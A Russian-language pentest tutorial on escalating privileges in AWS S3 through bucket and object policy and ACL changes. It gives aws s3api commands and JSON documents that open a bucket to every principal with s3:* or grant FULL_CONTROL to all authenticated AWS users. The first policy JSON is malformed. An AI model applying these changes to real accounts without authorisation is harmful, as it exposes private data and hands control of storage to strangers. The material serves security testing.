Продолжим тему поиска уязвимостей AWS S3. В предыдущих статьях мы говорили о получении содержимого бакетов AWS и перечислении с эксфильтрацией бакетов AWS S3. Сегодня рассмотрим повышение привилегий при пентесте AWS S3 Buckets.
Повышение привилегий при пентесте AWS S3 Buckets
К бакету могут быть привязаны политики, ACL, поэтому, имея определенные права, можем сделать, например, бакет общедоступным.
Изменение политики бакета
Для эксплуатации требуется наличие s3:PutBucketPolicy. С этой привилегией сможем предоставить больше разрешений на бакеты, например разрешим себе читать, записывать, изменять и удалять бакеты:
1 |
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <имя бакета> |
Сама политика может выглядеть вот так:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
{ "Id": "Policy1568185116930", "Version": "2012-10-17", "Statement": [ { "Sid": "Stmt1568184932403", "Action": [ "s3:*" ], "Effect": "Allow", "Resource": "arn:aws:s3:::<имя бакета>", "Principal": "*" } } |
Изменение ACL бакета
Нам нужно s3:PutBucketAcl. Благодаря такой привилегии сможем изменить ACL, привязанный к бакету:
1 |
aws s3api put-bucket-acl --bucket <имя бакета> --access-control-policy file://acl.json |
Пример политики:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
{ "Owner": { "DisplayName": "<Кого ты хочешь сделать владельцем>", "ID": "" }, "Grants": [ { "Grantee": { "Type": "Group", "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" }, "Permission": "FULL_CONTROL" } ] } |
Изменение ACL объекта
Для этого потребуется s3:PutObjectAcl. Может быть так, что ACL на бакет изменить мы не сможем, но вот ACL на определенный объект в состоянии. Эксплуатируем:
1 |
aws s3api put-object-acl --bucket <имя бакета> --key <объект> --access-control-policy file://objacl.json |
Политика может быть вот такой:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
{ "Owner": { "DisplayName": "<Кого ты хочешь сделать владельцем>", "ID": "" }, "Grants": [ { "Grantee": { "Type": "Group", "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" }, "Permission": "FULL_CONTROL" } ] } |
Заключение
Казалось бы, S3 — не более чем сервис хранения данных. Но, как вы смогли убедиться, даже обычное файлохранилище может быть уязвимым само и открывать другие уязвимости.
Любая возможность расширить поверхность атаки важна при пентестах, и плохо настроенные бакеты могут в этом плане сослужить отличную службу.
РЕКОМЕНДУЕМ:
- Взлом репозитория GitHub с помощью GitHub Dorks
- Как удалить чувствительную информацию из репозитория Git